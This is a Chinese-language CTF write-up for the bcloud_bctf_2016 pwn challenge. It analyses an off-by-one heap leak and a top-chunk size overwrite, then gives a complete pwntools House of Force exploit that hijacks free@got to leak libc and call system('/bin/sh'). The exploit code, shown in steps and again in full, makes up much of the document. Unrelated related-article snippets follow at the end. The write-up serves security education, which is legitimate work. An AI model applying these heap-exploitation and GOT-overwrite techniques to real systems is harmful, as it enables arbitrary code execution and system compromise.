bcloud_bctf_2016
bcloud_bctf_2016
总结
根据本题,学习与收获有:
house of force
不需要保证top chunk
的size
域是合法的,但是house of orange
需要保证size
域合法,因为后一种利用方式会把top chunk
放在unsorted bin
,会有chunk size
的检查。house of force
一般需要泄露出heap
地址,并且需要能改写top chunk
的size
域,还要能分配任意大小的内存,总的来说,条件还是很多的。可以直接分配到got
表附近,但是这样会破坏一些got
表的内容,也可分配到堆指针数组,一般在bss
或者data
段。strcpy
会一直拷贝源字符串,直到遇到\x0a
或者\x00
字符。并且在拷贝结束后,尾部添加一个\x00
字符,很多off by one
的题目就是基于此。
题目分析
题目的运行环境是ubuntu 16
,使用libc-2.23.so
。
checksec
注意:arch
为i386-32-little
。
函数分析
很明显,这又是一个菜单题。首先来看main
函数:
main
在进入while
循环之前,首先调用了welcome
函数引用与参考[1],然后再去执行循环体。继续来看一下welcome
中有什么操作。
welcome
这里面调了两个函数,继续分析
get_name
这里面操作为:
- 向栈变量
s
写入0x40
大小的数据,有一个字节的溢出 - 申请内存,
malloc(0x40)
,得到的chunk
大小为0x48
- 调用
strcpy
,把s
的数据拷贝到刚刚申请的chunk
的用户内存区域。
这里存在一个漏洞点,越界拷贝了堆地址,在后面的漏洞点中会有分析。
顺便放一下read_off_by_one
函数和put_info
函数:
read_off_by_one:
put_info:
get_org_host
这里涉及到两次向栈变量上写数据,并且两次申请堆内存,两次调用strcpy
接口。这里存在着溢出漏洞,后续漏洞点中会进一步分析。
menu
new_note
此住需要注意的点有:
ptr_array
里面最多填满10
个地址- 实际申请的
chunk
的大小是size + 4
,能写的大小却是size
,基本上不能使用off by one
show_note
edit_note
从ptr_array
数组和ptr_size
数组中取出存储的地址和大小,并重新获取用户输入并写入数据。
del_note
释放指针指向的内存后直接将指针置为0
漏洞点
一开始看这个程序的时候,一直把目光对准了while
循环体里面,几个关于note
的函数,因为一般情况下,漏洞点会出现在这些函数里面,事实证明,惯性思维害死人。找了半天,啥洞也没找到,最后把目光聚焦在welcome
里面的两个函数,才发现了利用点。接下来,详细讲一讲漏洞点。
漏洞点1:get_name泄露堆地址
get_name:
这里画一下栈内存与堆内存的变化:
填充内容前:
填充内容后:
因此,当填慢0x40
个可见字符后,调用put_info
打印内容的时候会把上面的chunk
的地址给打印出来。
漏洞点2:get_org_host修改top chunk的size域
get_org_host函数:
填充前:
往栈变量s
和p
写了数据,并分配内存后:
执行两次strcpy
后:
可以看到top chunk
的size
域被更改了。
利用思路
知识点
- 本题主要使用House of Force Attack,注意,这个攻击方法在
2.23、2.27
版本的libc
是奏效的,在libc-2.29.so
加了top chunk
的size
域合法性的校验。 - 计算大小的时候,可以就直接给
malloc
传一个负数,会自动转化为正整数的。 - 可以在调试过程中确定要分配的那个大小,计算得到的
size
可能会有一些偏移。
利用过程
利用步骤:
- 在
get_name
接口中,输入0x40 * 'a'
,泄露出堆地址 - 通过
get_org_host
覆盖top chunk
的size
,修改为0xffffffff
。 - 利用
house of force
分配到ptr_array
,即地址为0x0x804b120
。 - 连续分配4个用户大小为
0x44
大小的chunk A、B、C、D
。那么,编辑chunk A
的时候,就能直接修改ptr_array
数组元素的地址。引用与参考[2]。 - 调用
edit_note
,编辑chunk A
,将ptr_array[2]
设置为free@got
,将ptr_array[3]
设置为printf@got
。 - 调用
edit_note
,编辑ptr_array[2]
的内容为puts@plt
,就是将free@got
修改为了puts@plt
地址。 - 调用
del_note
,去释放ptr_array[3]
,实际上调用的是puts
打印出来了printf
的地址。 - 再次调用
edit_note
,编辑chunk A
,将ptr_array[0]
设置为0x804b130
,ptr_array[2]
设置为free@got
,将ptr_array[4]
写为/bin/sh
- 调用
edit_note
,将free@got
修改为了system
地址 - 调用
del_note
,释放ptr_array[0]
,即可getshell
EXP
调试过程
定义好函数:
def new_note(size, content, io:tube=sh):
io.sendlineafter('option--->>\n', '1')
io.sendlineafter("Input the length of the note content:\n", str(size))
io.sendlineafter("Input the content:\n", content)
io.recvline()
def edit_note(idx, content, io:tube=sh):
io.sendlineafter('option--->>\n', '3')
io.sendlineafter("Input the id:\n", str(idx))
io.sendlineafter("Input the new content:\n", content)
io.recvline()
def del_note(idx, io:tube=sh):
io.sendlineafter('option--->>\n', '4')
io.sendlineafter("Input the id:\n", str(idx))
执行get_name
,泄露heap
地址:
sh.sendafter("Input your name:\n", 'a' * 0x40)
sh.recvuntil('a' * 0x40)
leak_heap_addr = u32(sh.recvn(4))
LOG_ADDR('leak_heap_addr', leak_heap_addr)
执行get_org_host
,修改top chunk
的size
为0xffffffff
:
sh.sendafter("Org:\n", 'a' * 0x40)
sh.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'a')
sh.recvuntil("OKay! Enjoy:)\n")
计算出top chunk
的地址,分配到0x804b120
:
top_chunk_addr = leak_heap_addr + 0xd0
ptr_array = 0x804b120
margin = ptr_array - top_chunk_addr
new_note(margin - 20, "") # 0
连续分配四块chunk
,修改free@got
的内容为puts@plt
,泄露出libc
的地址:
free_got = 0x804b014
puts_plt = 0x8048520
printf_got = 0x804b010
for _ in range(4):
new_note(0x40, 'aa')
edit_note(1, p32(0x804b120) * 2 + p32(free_got) + p32(printf_got))
edit_note(2, p32(puts_plt))
del_note(3)
msg = sh.recvuntil("Delete success.\n")
printf_addr = u32(msg[:4])
LOG_ADDR('printf_addr', printf_addr)
计算出system
地址,修改free@got
为system
函数的地址,并准备好/bin/sh
:
system_addr = printf_addr - offset
edit_note(1, p32(0x804b130) * 2 + p32(free_got) * 2 + b'/bin/sh')
edit_note(2, p32(system_addr))
释放带有/bin/sh
的chunk
,即可getshell
:
del_note(0)
完整exp
from pwn import *
context.update(arch='i386', os='linux')
sh = process('./bcloud_bctf_2016')
LOG_ADDR = lambda s, i:log.info('{} ===> {}'.format(s, i))
def new_note(size, content, io:tube=sh):
io.sendlineafter('option--->>\n', '1')
io.sendlineafter("Input the length of the note content:\n", str(size))
io.sendlineafter("Input the content:\n", content)
io.recvline()
def edit_note(idx, content, io:tube=sh):
io.sendlineafter('option--->>\n', '3')
io.sendlineafter("Input the id:\n", str(idx))
io.sendlineafter("Input the new content:\n", content)
io.recvline()
def del_note(idx, io:tube=sh):
io.sendlineafter('option--->>\n', '4')
io.sendlineafter("Input the id:\n", str(idx))
sh.sendafter("Input your name:\n", 'a' * 0x40)
sh.recvuntil('a' * 0x40)
leak_heap_addr = u32(sh.recvn(4))
LOG_ADDR('leak_heap_addr', leak_heap_addr)
sh.sendafter("Org:\n", 'a' * 0x40)
sh.sendafter("Host:\n", p32(0xffffffff) + (0x40 - 4) * b'a')
sh.recvuntil("OKay! Enjoy:)\n")
top_chunk_addr = leak_heap_addr + 0xd0
ptr_array = 0x804b120
margin = ptr_array - top_chunk_addr
new_note(margin - 20, "") # 0
free_got = 0x804b014
puts_plt = 0x8048520
printf_got = 0x804b010
for _ in range(4):
new_note(0x40, 'aa')
edit_note(1, p32(0x804b120) * 2 + p32(free_got) + p32(printf_got))
edit_note(2, p32(puts_plt))
del_note(3)
msg = sh.recvuntil("Delete success.\n")
printf_addr = u32(msg[:4])
LOG_ADDR('printf_addr', printf_addr)
if all_parsed_args['debug_enable']:
offset = 0xe8d0 # 0x10470
else:
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
LOG_ADDR('libc_base', libc_base)
offset = libc.dump('printf') - libc.dump('system')
LOG_ADDR('offset', offset)
system_addr = printf_addr - offset
edit_note(1, p32(0x804b130) * 2 + p32(free_got) * 2 + b'/bin/sh')
edit_note(2, p32(system_addr))
del_note(0)
sh.interactive()
引用与参考
以下为引用与参考,可能以脚注的形式呈现!
[1]:本文的函数均已重命名,原二进制文件不带符号信息
[2]:其实这里可以直接去控制ptr_size
数组,一直到ptr_array
,这样还可以控制size
,分配一个chunk
就够操作了。
bcloud_bctf_2016的更多相关文章
- bcloud_bctf_2016(house of force)
例行检查我就不放了,该程序是32位的程序 将程序放入ida中 进行代码审计 首先这这里有一个off by null 可以通过这里泄露出来第一个chunk的地址信息 这里也有同样的问题,我看ha1vk师 ...
随机推荐
- [atARC066F]Contest with Drinks Hard
先不考虑修改,那么很明显即对于每一个极长的的区间,若其长度为$l$,有${l+1\choose 2}$的贡献 考虑dp去做,即$f_{i}$表示前$i$个数最大的答案,则$$f_{i}=\max(\m ...
- [bzoj1305]跳舞
考虑如果没有k个人,那么就是裸的二分答案+最大流对于这k个人,再在原来的每一个点裂点,中间的流量为k,然后裂出来的点向所有不能匹配的点连边,再二分答案+最大流即可 1 #include<bits ...
- [bzoj3170]松鼠聚会
这个距离就是切比雪夫距离,有一个神奇的东西是说将(x,y)变成(x+y,x-y),然后就是曼哈顿距离,因此转化后对x坐标和y坐标分别统计排序和求和(求前缀和预处理+二分) 1 #include< ...
- 爬虫进阶篇(一)scrapy
1.本教程默认认为您已经像我一样是个半吊子爬虫程序员 2.学习爬虫首先要懂得request,json,bs4,re,xpath,pymysql,random,time,文件相关,理解网络编程基本原理, ...
- while,do...while及for三种循环结构
循环结构 while循环 while (布尔表达式) { //循环内容 } 只要布尔表达式为true循环就会一直执行 我们大多数情况会让循环停止下来,需要一个让表达式失效的方式来停止循环 while循 ...
- 【Perl示例】整合多个文件
这个需求是在生信分析中几乎天天用到,各种语言都能实现,也都各有特点.这次以perl为例. 已知 文件CT-VS-CON.All.xls为全部蛋白表达矩阵及其差异分析结果. 文件Homo_sapiens ...
- 【Linux】非root安装Python3及其包管理
1. Python 3.8.1安装 源码安装常规操作: wget -c https://www.python.org/ftp/python/3.8.1/Python-3.8.1.tgz tar -xv ...
- Linux—su命令和su -命令的差别(切换登录账号)
1.普通用户切换到root用户,命令su或su - 本人以前一直习惯直接使用root,很少使用su,前几天才发现su与su -命令是有着本质区别的! 大部分Linux发行版的默认账户是普通用户,而更改 ...
- SQL-join(inner join)、left join、right join、full join
0.JOIN 类型 有时我们需要从两个或更多的表中获取结果,数据库中的表可通过键将彼此联系起来.每个表中都有一个主键,主键(Primary Key)是一个列,值都唯一.这样做的目的是在不重复每个表中的 ...
- js浮点运算的坑
1,js浮点型小数点运算的问题. 这么简单的计算,js竟然算的是错的,究其原因,是因为js小数在内存存储方式的原因. 具体原因: JavaScript 里的数字是采用 IEEE 754 标准的 64 ...